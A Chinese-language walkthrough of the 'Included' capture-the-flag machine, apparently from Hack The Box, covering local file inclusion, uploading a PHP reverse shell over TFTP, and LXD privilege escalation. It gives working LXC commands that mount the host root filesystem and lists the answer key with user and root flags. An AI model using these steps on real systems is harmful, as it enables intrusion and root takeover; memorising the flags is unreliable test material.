前言
- 各位师傅大家好,我是qmx_07,今天给大家讲解Included靶机
渗透过程
信息搜集
- rustscan工具 通常只扫描TCP端口,所以我们要配合nmap进行-sU 执行udp端口扫描
- 可以观察到 服务器开放了TFTP UDP端口,用来进行文件传输协议,端口号是69
- 同时开放了80 HTTP TCP端口
发现HTTP服务 存在本地文件包含
- 发现url地址栏里 有?filename 这个参数,怀疑是文件包含
- /etc/passwd 文件存放linux系统存在的用户信息
- 确认 存在文件包含漏洞
登录TFTP服务 上传shell php文件
- 文件准备:
- 文件存放在:/usr/share/webshells/php/php-reverse-shell.php
- 通过tftp 上传shell文件
- tftp默认存放目录: /var/lib/tftpboot
通过文件包含漏洞 反弹会话
- 访问上传的shell文件,成功反弹会话
- 通过以下命令,稳定会话
script /dev/null -c bash
- 通过访问网站目录,发现mike用户及密码
LXD权限提升
- 通过查看mike用户 发现所属于lxd组
- LXD 是用于在 Linux 系统上处理 LXC 容器的管理 API,为本地 lxd 组的任何成员执行任务
- 通过查阅Hackticks 资料,利用 Alpine 镜像起作用,该镜像是基于 busy box 的轻量级 Linux 发行版,在本地下载并构建此发行版后,将使用 HTTP 服务器将其上传到远程系统。然后将该映像导入 LXD 中,并使用 root 权限挂载 Host 文件系统
alpine镜像下载:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
- 开启http服务器
- 下载HTTP服务中的alpine 镜像
lxc image improt 镜像 //导入镜像
lxc image list //查看容器列表
挂载目录:
设置security.privileged为ture,这样容器就能拥有根文件系统拥有的所有特权
lxc init cd73881adaac privesc -c security.privileged=true
在 LXC 容器中添加一个磁盘设备并挂载到/mnt文件夹
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
- 容器初始化设置权限、挂载文件夹成功
- 启动容器并开启shell
用户 flag:a56ef91d70cfbf2cdb8f454c006935a1
root flag:c693d9c7499d9f572ee375d4c14c7bcf
知识点讲解
- Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源
- Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度
答案
- 1.服务器运行着什么服务?
TFTP
- 2.HTTP80端口 拥有什么漏洞?
Local File Inclusion
- 3.TFTP 用来默认存储的文件地址是?
/var/lib/tftpboot/
- 4.哪个文件位于Web服务器文件夹,用于横向移动?
.htpasswd
- 5.Mike所属的哪个组可以用作权限提升?
lxd
- 6.利用镜像是什么?
alpine
- 7.为容器设置什么参数 能拥有root权限?
security.privileged=true
- 8.挂载目录后,可以在容器哪个位置找到flag.txt?
/mnt/root/
- 9.用户flag是?
a56ef91d70cfbf2cdb8f454c006935a1
- 10.root flag是?
c693d9c7499d9f572ee375d4c14c7bcf
总结
- 介绍了 本地文件包含、TFTP协议 上传shell文件反弹会话,通过容器挂载目录 做权限提升